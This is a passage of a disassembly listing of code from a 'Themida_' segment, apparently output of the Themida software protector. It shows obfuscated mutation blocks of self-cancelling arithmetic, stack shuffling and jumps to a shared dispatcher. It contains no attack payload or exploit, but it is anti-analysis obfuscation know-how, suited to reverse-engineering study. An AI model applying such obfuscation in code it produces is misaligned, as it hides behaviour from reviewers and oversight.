loc_56E833:				; CODE XREF: Themida_:005729F0j
		push	dword ptr [esp+4]
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_56D371
; ---------------------------------------------------------------------------


loc_56E84D:				; CODE XREF: Themida_:00563DDFj
		sub	esi, eax
		pop	eax
		add	esi, edi
		add	esi, 63F63B8Dh
		add	esi, 4C6702A6h
		jmp	loc_570EF4
; ---------------------------------------------------------------------------


loc_56E863:				; CODE XREF: Themida_:005602BFj
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_56E872:				; CODE XREF: Themida_:00568360j
		pop	edx
		push	ebp
		mov	ebp, 61385326h
		push	ebp
		jmp	loc_566476
; ---------------------------------------------------------------------------


loc_56E87F:				; CODE XREF: Themida_:0056BF88j
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_56E1D2
; ---------------------------------------------------------------------------


loc_56E89E:				; CODE XREF: Themida_:0055F939j
		pop	esi
		jmp	loc_56FFB2
; ---------------------------------------------------------------------------


loc_56E8A4:				; CODE XREF: Themida_:0055D61Cj
		push	edi
		xchg	ebp, [esp]
		not	ebp
		xchg	ebp, [esp]
		pop	edi
		push	esi
		mov	esi, 54D71925h
		jmp	loc_562548
; ---------------------------------------------------------------------------


loc_56E8B9:				; CODE XREF: Themida_:005603BEj
		mov	edx, ebp
		pop	ebp
		jmp	loc_5661BF
; ---------------------------------------------------------------------------


loc_56E8C1:				; CODE XREF: Themida_:0056259Cj
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		push	eax
		mov	eax, 4


loc_56E8DD:				; CODE XREF: Themida_:00549CF4j
		sub	edx, 2E354C7Dh
		add	edx, eax
		push	ecx
		jmp	loc_560D70
; ---------------------------------------------------------------------------


loc_56E8EB:				; CODE XREF: Themida_:0056BBBEj
		add	edi, 358B737Fh
		add	edi, 7327BE5h
		add	edi, edx
		sub	edi, 7327BE5h
		sub	edi, 358B737Fh
		pop	edx
		push	ebp
		mov	ebp, 69BE2F74h
		jmp	loc_56DD9C
; ---------------------------------------------------------------------------


loc_56E911:				; CODE XREF: Themida_:005695E7j
		mov	eax, ebp
		pop	ebp
		dec	eax
		shl	eax, 3
		sub	eax, 0FFFFFFFFh
		sub	eax, 0F4ACB22h
		sub	ebp, 5F2C441Ah
		sub	ebp, eax
		add	ebp, 5F2C441Ah
		pop	eax
		mov	eax, ebp
		push	dword ptr [esp]
		jmp	loc_56AB94
; ---------------------------------------------------------------------------


loc_56E939:				; CODE XREF: Themida_:0056DD7Fj
		or	esi, 30481F75h
		push	ebx
		mov	ebx, 7A4513DAh
		neg	ebx
		inc	ebx
		not	ebx
		sub	ebx, 137E7116h
		add	ebx, 0F6FB87A7h
		or	esi, ebx
		pop	ebx
		dec	esi
		jmp	loc_56936A
; ---------------------------------------------------------------------------


loc_56E95F:				; CODE XREF: Themida_:00567084j
		shl	eax, 4
		push	esi
		mov	esi, 4A355857h
		sub	eax, esi
		pop	esi
		jmp	loc_55EE64
; ---------------------------------------------------------------------------


loc_56E970:				; CODE XREF: Themida_:0055DF62j
		mov	esp, [esp]
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		sub	[esp], eax
		pushf
		jmp	loc_5722B6
; ---------------------------------------------------------------------------


loc_56E988:				; CODE XREF: Themida_:005642FDj
		add	esp, 4
		push	ecx
		push	7372h
		mov	[esp], ebp
		mov	ebp, 8FF3CCAh
		jmp	loc_570C56
; ---------------------------------------------------------------------------


loc_56E9A1:				; CODE XREF: Themida_:0055E4FCj
		mov	ebp, 4
		add	ecx, 5E7967C9h
		add	ecx, ebp
		push	eax
		push	468B6D9Dh
		pop	eax
		jmp	loc_56C109
; ---------------------------------------------------------------------------


loc_56E9BA:				; CODE XREF: Themida_:0056555Bj
		push	eax
		mov	eax, 0B984069h
		add	eax, 24B95860h
		inc	eax
		and	eax, 41072A92h
		jmp	loc_55F8BA
; ---------------------------------------------------------------------------


loc_56E9D0:				; CODE XREF: Themida_:0056EB54j
		xor	ebp, ecx
		pop	ecx
		add	edi, ebp
		pop	ebp
		shl	edi, 1
		sub	edi, 0AC3B2CCAh
		xor	edi, 156E7718h
		jmp	loc_55DF19
; ---------------------------------------------------------------------------


loc_56E9E9:				; CODE XREF: Themida_:0056BB61j
		shl	ebp, 8
		and	ebp, 61F86C75h
		xor	ebp, 50435D76h
		jmp	loc_56E2AC
; ---------------------------------------------------------------------------


loc_56E9FD:				; CODE XREF: Themida_:00565C4Bj
		sub	ebx, eax
		add	ebx, 314C5C30h
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_56AC3A
; ---------------------------------------------------------------------------


loc_56EA10:				; CODE XREF: Themida_:005701CBj
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5645CD
; ---------------------------------------------------------------------------


loc_56EA1F:				; CODE XREF: Themida_:00572896j
		pop	ecx
		jmp	loc_55EEE7
; ---------------------------------------------------------------------------


loc_56EA25:				; CODE XREF: Themida_:00569AC3j
		mov	ebx, edx
		pop	edx
		mov	eax, [esp]
		push	78DBh
		jmp	loc_5646C2
; ---------------------------------------------------------------------------


loc_56EA35:				; CODE XREF: Themida_:0055E8CEj
		add	esp, 4
		jmp	loc_567664
; ---------------------------------------------------------------------------


loc_56EA3D:				; CODE XREF: Themida_:00568C4Bj
		push	ebp
		jmp	loc_56CF42
; ---------------------------------------------------------------------------


loc_56EA43:				; CODE XREF: Themida_:0055DFE1j
		mov	esi, 78743BB7h
		push	139Eh
		mov	[esp], edi
		jmp	loc_5646A3
; ---------------------------------------------------------------------------


loc_56EA55:				; CODE XREF: Themida_:00560742j
		pop	dword ptr [esp]
		mov	esp, [esp]
		or	[esp], ax
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_56EA65:				; CODE XREF: Themida_:005667C8j
		add	edx, 4
		jmp	loc_561DF2
; ---------------------------------------------------------------------------


loc_56EA70:				; CODE XREF: Themida_:00565BD4j
		mov	esi, ebx
		pop	ebx
		inc	esi
		xor	esi, 7C52A9A5h
		xor	edi, esi
		jmp	loc_564EBE
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	esi
		mov	esi, esp
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		jmp	loc_566AAA
; ---------------------------------------------------------------------------


loc_56EA96:				; CODE XREF: Themida_:00566978j
		pop	dword ptr [esp]
		push	7A55h
		jmp	loc_562211
; ---------------------------------------------------------------------------


loc_56EAA3:				; CODE XREF: Themida_:0056232Cj
		mov	[esp], edi
		push	72A9h
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_55E37F
; ---------------------------------------------------------------------------


loc_56EABA:				; CODE XREF: Themida_:0056508Cj
		mov	ebp, 42AC5CE0h
		xor	ebp, 34156AB5h
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		add	ebp, 76B93658h
		add	edi, ebp
		pop	ebp
		push	30C9h
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_56E192
; ---------------------------------------------------------------------------


loc_56EAEB:				; CODE XREF: Themida_:00568469j
		push	ebp
		mov	ebp, 7F69F7h
		jmp	loc_5670F8
; ---------------------------------------------------------------------------


loc_56EAF6:				; CODE XREF: Themida_:0056A67Cj
		xor	ah, 5
		inc	ah
		jmp	loc_561647
; ---------------------------------------------------------------------------


loc_56EB00:				; CODE XREF: Themida_:0056A492j
		pop	dword ptr [esp]
		jmp	loc_568177
; ---------------------------------------------------------------------------


loc_56EB08:				; CODE XREF: Themida_:0056CD44j
		sub	al, 0DCh
		sub	al, cl
		add	al, 0DCh
		push	ecx
		jmp	loc_570BFF
; ---------------------------------------------------------------------------


loc_56EB14:				; CODE XREF: Themida_:005715E6j
		push	ecx
		push	ebx
		jmp	loc_564E24
; ---------------------------------------------------------------------------


loc_56EB1B:				; CODE XREF: Themida_:0056E607j
		mov	dh, al
		mov	cl, dh
		jmp	loc_56DA2E
; ---------------------------------------------------------------------------


loc_56EB24:				; CODE XREF: Themida_:005692C8j
		add	ebx, eax
		sub	ebx, 72E34957h
		pop	eax
		jmp	loc_56F521
; ---------------------------------------------------------------------------


loc_56EB32:				; CODE XREF: Themida_:005708F0j
		and	ecx, 5DA05A1Bh
		push	edx
		mov	edx, 43ED7D03h
		add	ecx, edx
		pop	edx
		sub	esp, 4
		mov	[esp], ecx
		not	dword ptr [esp]
		pop	ecx
		add	ecx, 0B0A8AFB6h
		jmp	loc_56E9D0
; ---------------------------------------------------------------------------


loc_56EB59:				; CODE XREF: Themida_:0056A2B3j
		pop	edi
		jmp	loc_56D3D5
; ---------------------------------------------------------------------------


loc_56EB5F:				; CODE XREF: Themida_:0055E607j
		add	ecx, 332A7E46h
		or	ecx, 4554265Ah
		xor	ecx, 57156F79h
		jmp	loc_570D90
; ---------------------------------------------------------------------------


loc_56EB76:				; CODE XREF: Themida_:0056520Fj
		not	edi
		and	edi, 680E6B96h
		sub	edi, 2E757AD7h
		add	edi, 1E5559ABh
		xor	edi, 1A937425h
		add	ebx, edi
		jmp	loc_564BC4
; ---------------------------------------------------------------------------


loc_56EB97:				; CODE XREF: Themida_:0056283Cj
		mov	[esp], ebx
		mov	ebx, 235F9208h
		xor	eax, ebx
		mov	ebx, [esp]
		jmp	loc_572A45
; ---------------------------------------------------------------------------


loc_56EBA9:				; CODE XREF: Themida_:005633B2j
		pop	eax
		add	dl, bl
		pop	ebx
		and	dl, 2Ch
		jmp	loc_570651
; ---------------------------------------------------------------------------


loc_56EBB5:				; CODE XREF: Themida_:0055F633j
		mov	edx, esp
		jmp	loc_564A09
; ---------------------------------------------------------------------------


loc_56EBBC:				; CODE XREF: Themida_:00569D7Dj
		add	ecx, 4
		sub	esp, 4
		mov	[esp], esi
		push	edx
		mov	edx, 0CCC7E41h
		shr	edx, 1
		xor	edx, 2A920CECh
		mov	esi, edx
		mov	edx, [esp]
		add	esp, 4
		xor	esi, 612C52BEh
		push	esi
		neg	dword ptr [esp]
		jmp	loc_568751
; ---------------------------------------------------------------------------


loc_56EBED:				; CODE XREF: Themida_:00561FDAj
		shl	esi, 2
		push	eax
		mov	eax, 62DD7574h
		xor	eax, 4DB9EFBCh
		add	esi, eax
		jmp	loc_56DEC2
; ---------------------------------------------------------------------------


loc_56EC02:				; CODE XREF: Themida_:00570FE8j
		pop	ebp
		push	ecx
		mov	ecx, 0F4B76BEh
		sub	edi, ecx
		jmp	loc_560654
; ---------------------------------------------------------------------------


loc_56EC10:				; CODE XREF: Themida_:0056D9B2j
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		and	eax, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_570AA9
; ---------------------------------------------------------------------------


loc_56EC2C:				; CODE XREF: Themida_:0057118Bj
		push	5D1E6AF9h
		pop	esi
		xchg	ebx, esi
		xchg	edx, ebx
		not	edx
		xchg	edx, ebx
		xchg	ebx, esi
		dec	esi
		sub	esi, 6A8B6E45h
		push	ebx
		jmp	loc_567D09
; ---------------------------------------------------------------------------


loc_56EC49:				; CODE XREF: Themida_:005668BCj
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	837h
		mov	[esp], ebp
		jmp	loc_567A0C
; ---------------------------------------------------------------------------


loc_56EC66:				; CODE XREF: Themida_:0055F4D3j
		sub	ebx, 632D725Ch
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5621F3
; ---------------------------------------------------------------------------


loc_56EC77:				; CODE XREF: Themida_:0056728Aj
		add	ebp, 4083251Dh
		xor	ebp, 35DB3363h
		shl	ebp, 5
		shr	ebp, 6
		jmp	loc_570D1F
; ---------------------------------------------------------------------------


loc_56EC8E:				; CODE XREF: Themida_:0056DECCj
		push	ecx
		mov	ecx, 246B4865h
		or	ecx, 283A4D3Bh
		or	ecx, 386F25ABh
		push	ebp
		mov	ebp, 27940E3Ah
		dec	ebp
		jmp	loc_5688DC
; ---------------------------------------------------------------------------


loc_56ECAC:				; CODE XREF: Themida_:0056B564j
		push	ebp
		jmp	loc_55DB8D
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_561FBA
; ---------------------------------------------------------------------------


loc_56ECBB:				; CODE XREF: Themida_:0056C645j
		pop	esp
		mov	[esp], edi
		push	522Ah
		mov	[esp], ebx
		mov	ebx, 0
		push	eax
		push	73ECh
		mov	[esp], esp
		jmp	loc_57223D
; ---------------------------------------------------------------------------


loc_56ECDA:				; CODE XREF: Themida_:0056AF85j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	edx, 6613B46h
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_56ECEF:				; CODE XREF: Themida_:00564DE0j
		mov	eax, [esp]
		jmp	loc_55F20A
; ---------------------------------------------------------------------------


loc_56ECF7:				; CODE XREF: Themida_:00567C32j
		push	edi
		jmp	loc_56B213
; ---------------------------------------------------------------------------


loc_56ECFD:				; CODE XREF: Themida_:00565609j
		pop	ebx
		add	ebx, 20ED5DD1h
		jmp	loc_570F70
; ---------------------------------------------------------------------------


loc_56ED09:				; CODE XREF: Themida_:0056C5DFj
		pop	esp
		pop	eax
		sub	eax, 52596E99h
		pop	edx
		or	eax, 7B290C3Eh
		shr	eax, 5
		neg	eax
		shr	eax, 2
		push	edi
		mov	edi, 227614B1h
		shl	edi, 2
		inc	edi
		neg	edi
		jmp	loc_5622C8
; ---------------------------------------------------------------------------


loc_56ED2F:				; CODE XREF: Themida_:00568233j
		add	ebx, 17814D51h
		jmp	loc_5651F5
; ---------------------------------------------------------------------------


loc_56ED3A:				; CODE XREF: Themida_:00569AABj
		mov	eax, 13001627h
		mov	esi, eax
		jmp	loc_564B0E
; ---------------------------------------------------------------------------


loc_56ED46:				; CODE XREF: Themida_:00572623j
		pop	esi
		add	eax, edx
		pop	edx
		sub	eax, 631B5371h
		mov	ebp, [esp]
		push	edx
		jmp	loc_5716E8
; ---------------------------------------------------------------------------


loc_56ED58:				; CODE XREF: Themida_:005625BDj
		pop	edx
		and	ebp, eax
		pop	eax
		jmp	loc_57195C
; ---------------------------------------------------------------------------


loc_56ED61:				; CODE XREF: Themida_:0056E114j
		mov	edx, [esp]
		add	esp, 4
		sub	edx, 71E34C25h
		sub	edx, ebx
		add	edx, 71E34C25h
		push	dword ptr [esp]
		pop	ebx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		jmp	loc_562A36
; ---------------------------------------------------------------------------
		pop	dword ptr fs:[edx]
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_56ED9B:				; CODE XREF: Themida_:0056F56Aj
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_56FF87
; ---------------------------------------------------------------------------


loc_56EDAF:				; CODE XREF: Themida_:00566491j
		push	edi
		add	dword ptr [esp], 37E9004Dh
		pop	esi
		sub	esi, 37E9004Dh
		mov	edi, [esp]
		add	esp, 4
		push	19A1h
		mov	[esp], esi
		pop	ebx
		pop	esi
		jmp	loc_56C4D4
; ---------------------------------------------------------------------------


loc_56EDD3:				; CODE XREF: Themida_:0056DC0Cj
		mov	[esp], ebp
		mov	ebp, 4BCC7B50h
		inc	ebp
		sub	ebp, 1
		xchg	edx, ebp
		not	edx
		xchg	edx, ebp
		add	ebp, 4C4C8D0Eh
		sub	esi, ebp
		jmp	loc_562F96
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edx
		push	edx
		jmp	loc_5715B4
; ---------------------------------------------------------------------------


loc_56EDFD:				; CODE XREF: Themida_:0055E9F3j
		xchg	esi, ebx
		jmp	loc_567A30
; ---------------------------------------------------------------------------


loc_56EE04:				; CODE XREF: Themida_:005669C4j
		add	ebp, 3DA655C5h
		sub	ebp, edx
		sub	ebp, 3DA655C5h
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_572686
; ---------------------------------------------------------------------------


loc_56EE1D:				; CODE XREF: Themida_:0056E0AEj
		pop	esi
		push	edx
		mov	edx, 24C06F4Ah
		jmp	loc_5648FB
; ---------------------------------------------------------------------------


loc_56EE29:				; CODE XREF: Themida_:0056A7B2j
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	ecx
		mov	ecx, 6ECA52A1h
		xor	ecx, 2EEF55C2h
		push	edx
		mov	edx, 4025075Fh
		jmp	loc_56DFD1
; ---------------------------------------------------------------------------


loc_56EE45:				; CODE XREF: Themida_:0055F0A5j
		push	esi
		push	edi
		mov	edi, 496E37ADh
		mov	esi, 6A6D6836h
		sub	esi, edi
		jmp	loc_56CD04
; ---------------------------------------------------------------------------


loc_56EE58:				; CODE XREF: Themida_:00567C74j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	esp, 4
		jmp	loc_56DFEB
; ---------------------------------------------------------------------------


loc_56EE70:				; CODE XREF: Themida_:005609F2j
		push	edx
		mov	edx, 2C0E3732h
		add	esi, edx
		pop	edx
		mov	ebx, [esp]
		add	esp, 4
		or	esi, 162529E5h
		push	edx
		push	24D4h
		mov	[esp], ebp
		mov	ebp, 12F82B7Fh
		jmp	loc_55F1FD
; ---------------------------------------------------------------------------


loc_56EE9B:				; CODE XREF: Themida_:005603D6j
		pop	eax
		xor	edi, 7A9D259Ch
		sub	edx, 30241591h
		add	edx, 246C10A5h
		sub	edx, edi
		sub	edx, 246C10A5h
		add	edx, 30241591h
		jmp	loc_56D959
; ---------------------------------------------------------------------------


loc_56EEC1:				; CODE XREF: Themida_:00564795j
		push	ebp
		mov	ebp, 3E4A089Eh
		shr	ebp, 2
		shr	ebp, 8
		dec	ebp
		dec	ebp
		jmp	loc_5628F6
; ---------------------------------------------------------------------------


loc_56EED4:				; CODE XREF: Themida_:00566A31j
		mov	esi, 3C1F7F57h
		sub	eax, esi
		pop	esi
		sub	eax, ebp
		jmp	loc_564FB1
; ---------------------------------------------------------------------------


loc_56EEE3:				; CODE XREF: Themida_:0056AB87j
		mov	esp, [esp]
		or	[esp], al
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_56EEEF:				; CODE XREF: Themida_:00571E55j
		push	eax
		jmp	loc_564A24
; ---------------------------------------------------------------------------


loc_56EEF5:				; CODE XREF: Themida_:0056A582j
		mov	esp, [esp]
		jmp	loc_55F17F
; ---------------------------------------------------------------------------


loc_56EEFD:				; CODE XREF: Themida_:0056FCA0j
		xor	esi, [esp]
		mov	esp, [esp]
		idiv	cl
		movzx	cx, ah
		jmp	loc_56DA94
; ---------------------------------------------------------------------------


loc_56EF0E:				; CODE XREF: Themida_:0056C828j
		pop	ecx
		add	ecx, edi
		pop	edi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_55F7C8
; ---------------------------------------------------------------------------


loc_56EF27:				; CODE XREF: Themida_:00566B61j
		push	dword ptr [esp+4]
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		push	esi
		push	edi
		mov	edi, 4805599h
		neg	edi
		jmp	loc_55FAAA
; ---------------------------------------------------------------------------


loc_56EF3F:				; CODE XREF: Themida_:00568707j
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_568C56
; ---------------------------------------------------------------------------


loc_56EF4A:				; CODE XREF: Themida_:0055DFFAj
		mov	ebx, 4
		jmp	loc_56265A
; ---------------------------------------------------------------------------


loc_56EF54:				; CODE XREF: Themida_:00568B1Bj
		push	20BAh
		mov	[esp], edi
		push	ecx
		jmp	loc_5647F1
; ---------------------------------------------------------------------------


loc_56EF62:				; CODE XREF: Themida_:00563950j
		mov	[esp], ebp
		push	esp
		pop	ebp
		sub	esp, 4
		jmp	loc_570B77
; ---------------------------------------------------------------------------


loc_56EF72:				; CODE XREF: Themida_:00560A99j
		push	esi
		mov	esi, esp
		push	edi
		jmp	loc_568C91
; ---------------------------------------------------------------------------


loc_56EF7B:				; CODE XREF: Themida_:005618F3j
		sub	ebp, 5D7F5E4Dh
		mov	ecx, [esp]
		jmp	loc_5617E9
; ---------------------------------------------------------------------------


loc_56EF89:				; CODE XREF: Themida_:0056E498j
		sub	ecx, 265B4324h
		shr	ecx, 7
		push	edx
		mov	edx, 0FE4C8943h
		add	ecx, edx
		jmp	loc_56B2BA
; ---------------------------------------------------------------------------


loc_56EF9F:				; CODE XREF: Themida_:00563572j
		mov	edi, 4
		jmp	loc_56BF26
; ---------------------------------------------------------------------------


loc_56EFA9:				; CODE XREF: Themida_:005723FBj
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_55D72C
; ---------------------------------------------------------------------------


loc_56EFBF:				; CODE XREF: Themida_:00570B03j
		push	ebx
		push	ebp
		push	51E5172Fh
		pop	ebp
		jmp	loc_56B25E
; ---------------------------------------------------------------------------


loc_56EFCC:				; CODE XREF: Themida_:00564AB2j
		and	eax, esi
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	esi, [esp]
		jmp	loc_56D056
; ---------------------------------------------------------------------------


loc_56EFDC:				; CODE XREF: Themida_:00564D32j
		neg	ebp
		add	ebp, 74466680h
		mov	ebx, ebp
		pop	ebp
		push	edx
		mov	edx, 5FD54851h
		not	edx
		not	edx
		sub	edx, 0AFDEC46h
		jmp	loc_5644B9
; ---------------------------------------------------------------------------


loc_56EFFC:				; CODE XREF: Themida_:005711BEj
		and	eax, ebp
		pop	ebp
		or	eax, eax
		jz	loc_55DE5C
		push	7BF0h
		mov	[esp], ebx
		push	ebp
		mov	ebp, 37E6295Bh
		mov	ebx, 37E62947h
		jmp	loc_563DA5
; ---------------------------------------------------------------------------


loc_56F01F:				; CODE XREF: Themida_:0055E9D6j
		xchg	esi, ebp
		inc	esi
		xchg	esi, ebp
		inc	ebp
		push	edi
		mov	edi, 28296EDEh
		dec	edi
		and	edi, 7A6C6B2Dh
		sub	edi, 23547734h
		add	edi, 2461Fh
		jmp	loc_55DAF7
; ---------------------------------------------------------------------------


loc_56F043:				; CODE XREF: Themida_:0057128Bj
		sub	ecx, 37F7125Fh
		add	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	ebx, 4
		jmp	loc_56362A
; ---------------------------------------------------------------------------


loc_56F059:				; CODE XREF: Themida_:0055EE85j
		push	edx
		mov	edx, 4
		jmp	loc_5671EF
; ---------------------------------------------------------------------------


loc_56F064:				; CODE XREF: Themida_:00565073j
		mov	[esp], ecx
		mov	ecx, 35B755EDh
		xor	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		push	ebp
		jmp	loc_55D885
; ---------------------------------------------------------------------------


loc_56F078:				; CODE XREF: Themida_:00571642j
		push	62A0h
		mov	[esp], ebx
		push	eax
		push	bx
		mov	bh, 0B8h
		mov	ah, bh
		pop	bx
		mov	bh, ah
		jmp	loc_5690E5
; ---------------------------------------------------------------------------


loc_56F090:				; CODE XREF: Themida_:0056DEA6j
		mov	ecx, ebp
		pop	ebp
		push	edi
		mov	edi, 1C8176FFh
		add	ebp, edi
		pop	edi
		add	ebp, ecx
		push	edx
		mov	edx, 1C8176FFh
		add	ebp, 4B9705CEh
		sub	ebp, edx
		sub	ebp, 4B9705CEh
		pop	edx
		push	dword ptr [esp]
		pop	ecx
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	7DE5h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_562BC4
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		adc	[esp], eax
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_56F0F0:				; CODE XREF: Themida_:00566311j
		mov	[esp], ebp
		push	ebx
		push	45AD7617h
		pop	ebx
		add	dword ptr [esp+4], 6FFC7465h
		sub	[esp+4], ebx
		sub	dword ptr [esp+4], 6FFC7465h
		pop	ebx
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_567409
; ---------------------------------------------------------------------------


loc_56F120:				; CODE XREF: Themida_:0056D17Fj
		push	eax
		mov	eax, 6634E09h
		inc	eax
		sub	eax, 6634E06h
		sub	esi, eax
		pop	eax
		xor	esi, [esp]
		jmp	loc_56802B
; ---------------------------------------------------------------------------


loc_56F137:				; CODE XREF: Themida_:0055E890j
		add	eax, 5BFC0DE2h
		jmp	loc_56B04C
; ---------------------------------------------------------------------------


loc_56F141:				; CODE XREF: Themida_:0056F86Fj
		pop	edi
		jmp	loc_56B780
; ---------------------------------------------------------------------------


loc_56F147:				; CODE XREF: Themida_:005614D8j
		mov	esi, 33102AFFh
		and	edi, esi
		pop	esi
		shr	edi, 6
		xor	edi, 1FF1546Eh
		jmp	loc_561A03
; ---------------------------------------------------------------------------


loc_56F15D:				; CODE XREF: Themida_:0054A574j
					; Themida_:00561495j
		mov	esp, [esp]
		jmp	loc_56D9BF
; ---------------------------------------------------------------------------


loc_56F165:				; CODE XREF: Themida_:00566C12j
		mov	edi, 61624890h
		jmp	loc_5671F9
; ---------------------------------------------------------------------------


loc_56F16F:				; CODE XREF: Themida_:00570E0Bj
		pop	ebp
		not	ebp
		xchg	eax, ebp
		xor	[esp], eax
		xor	eax, [esp]
		xor	[esp], eax
		push	dword ptr [esp]
		jmp	loc_55F250
; ---------------------------------------------------------------------------


loc_56F184:				; CODE XREF: Themida_:0056F91Fj
		mov	[esp], esi
		mov	esi, 59C8200Ch
		xor	ecx, esi
		push	dword ptr [esp]
		pop	esi
		push	10B2h
		mov	[esp], edi
		mov	edi, esp
		push	eax
		mov	eax, 0EA416DAh
		add	eax, 0F15BE92Ah
		add	edi, eax
		pop	eax
		jmp	loc_56243B
; ---------------------------------------------------------------------------


loc_56F1AF:				; CODE XREF: Themida_:0056C172j
		or	eax, eax
		jz	loc_56A3DE
		push	ebx
		push	esp
		mov	ebx, [esp]
		jmp	loc_56D5EF
; ---------------------------------------------------------------------------


loc_56F1C1:				; CODE XREF: Themida_:00567061j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	esp, 4
		push	ebp
		jmp	loc_57003E
; ---------------------------------------------------------------------------


loc_56F1D7:				; CODE XREF: Themida_:0055D851j
		sub	ebx, ecx
		xchg	ebx, ecx
		pop	ebx
		xchg	ecx, esi
		xor	esi, 0E4A89D82h
		mov	edi, esi
		jmp	loc_56A73D
; ---------------------------------------------------------------------------


loc_56F1EB:				; CODE XREF: Themida_:0056AB43j
		xchg	ebp, [esp]
		pop	esp
		add	[esp], al
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_56F1F8:				; CODE XREF: Themida_:0056CB9Aj
		add	esp, 4
		jmp	loc_5711A6
; ---------------------------------------------------------------------------


loc_56F203:				; CODE XREF: Themida_:0055E09Aj
		pop	edx
		add	esp, 4
		jmp	loc_571D10
; ---------------------------------------------------------------------------


loc_56F20C:				; CODE XREF: Themida_:00572406j
		pop	ecx
		add	esp, 4
		push	ecx
		jmp	loc_56B80D
; ---------------------------------------------------------------------------


loc_56F219:				; CODE XREF: Themida_:0057008Fj
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_567A94
; ---------------------------------------------------------------------------


loc_56F22C:				; CODE XREF: Themida_:0056579Dj
		xor	edi, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_570A25
; ---------------------------------------------------------------------------


loc_56F239:				; CODE XREF: Themida_:0056301Cj
		push	esi
		mov	esi, 24B278A4h
		shr	esi, 6
		dec	esi
		push	edx
		mov	edx, 526ACD4Fh
		sub	esi, edx
		pop	edx
		jmp	loc_55FD9D
; ---------------------------------------------------------------------------


loc_56F251:				; CODE XREF: Themida_:00560167j
		xor	edi, 52FA715Ch
		jmp	loc_56F2B1
; ---------------------------------------------------------------------------


loc_56F25C:				; CODE XREF: Themida_:00567C85j
		mov	edx, [esp]
		jmp	loc_56653F
; ---------------------------------------------------------------------------


loc_56F264:				; CODE XREF: Themida_:0056262Cj
		mov	eax, 4
		sub	edx, eax
		pop	eax
		xchg	edx, [esp]
		jmp	loc_56756B
; ---------------------------------------------------------------------------


loc_56F274:				; CODE XREF: Themida_:0056986Fj
		mov	edx, [esp]
		jmp	loc_56DC11
; ---------------------------------------------------------------------------


loc_56F27C:				; CODE XREF: Themida_:0055E4DEj
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_566A8C
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_56B730
; ---------------------------------------------------------------------------


loc_56F292:				; CODE XREF: Themida_:00561B19j
		sub	edx, edi
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 77402D90h
		xor	esi, 5622463Fh
		jmp	loc_56A5D4
; ---------------------------------------------------------------------------


loc_56F2AA:				; CODE XREF: Themida_:00570407j
		sub	al, 0ABh
		jmp	loc_56C260
; ---------------------------------------------------------------------------


loc_56F2B1:				; CODE XREF: Themida_:0056F257j
		mov	edx, edi
		pop	edi
		add	edx, ebx
		jmp	loc_5647AD
; ---------------------------------------------------------------------------


loc_56F2BB:				; CODE XREF: Themida_:0055E0BCj
